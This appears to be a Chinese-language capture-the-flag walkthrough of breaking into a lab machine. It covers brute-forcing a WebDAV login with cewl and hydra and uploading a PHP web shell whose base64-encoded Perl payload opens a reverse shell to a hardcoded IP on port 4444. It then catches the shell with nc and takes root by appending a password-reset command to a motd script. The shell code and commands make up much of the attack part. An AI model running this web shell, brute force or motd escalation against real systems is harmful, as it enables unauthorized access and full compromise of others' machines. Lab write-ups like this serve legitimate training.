一、信息收集
1.nmap扫描开发端口
2.扫描目录
利用dirb扫描目录
3.发现 /webdav目录 访问
WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。
二、漏洞利用
现在考虑通过爆破的方式去登录 webdav,但是爆破需要一个好用的字典这里可以用 cewl
来制作字典
1.cewl制作字典
cewl 会通过爬行网页,把网页可能的单词爬取下来生成字典
cewl http://192.168.103.180/ -w bp.txt
2.九头蛇(hydra)爆破
字典有了现在就是爆破了,可以用 九头蛇(hydra)来爆破
,
非常好用hydra -L bp.txt -P bp.txt 192.168.103.180 http-get /webdav
前面是字典路径用户名密码,然后地址,协议,目标网站路径
账号密码爆破成功
账号:yamdoot
密码:Swarg
3.cadaver 连接webdav客户端
┌──(root💀kali)-[~/桌面]
└─# cadaver http://192.168.103.180/webdav/
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.103.129";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
4.nc 监听
┌──(root💀kali)-[~]
└─# nc -lvvp 4444
再访问http://192.168.103.180/webdav/1.php 就可以监听成功
python3 -c 'import pty; pty.spawn("/bin/bash")' #交互式shell
发现有三个用户
查找密码
前者是Brainfuck
,后者就是base64
,分别解码出来
Brainfuck:chitragupt
base64:yamdoot:Swarg
ssh连接
因为靶机开放了 ssh服务,猜测上面的应该是某个用户的密码才对,尝试登录真的登进去了
拿到第一个 flag
密码:chitragupt
user.txt
三、motd提权
现在就是重要的提权阶段了,这次用的是 motd提权 进到/etc/update-motd.d目录,
执行echo "echo 'root:root'|sudo chpasswd">>00-header 看见 00-header 的最下面多了一行我们写的命令,意思就是修改 root的密码为 root
root.txt
重新连接 ssh ,就可以提权 root权限了
拿到第二个的flag
账号密码都是root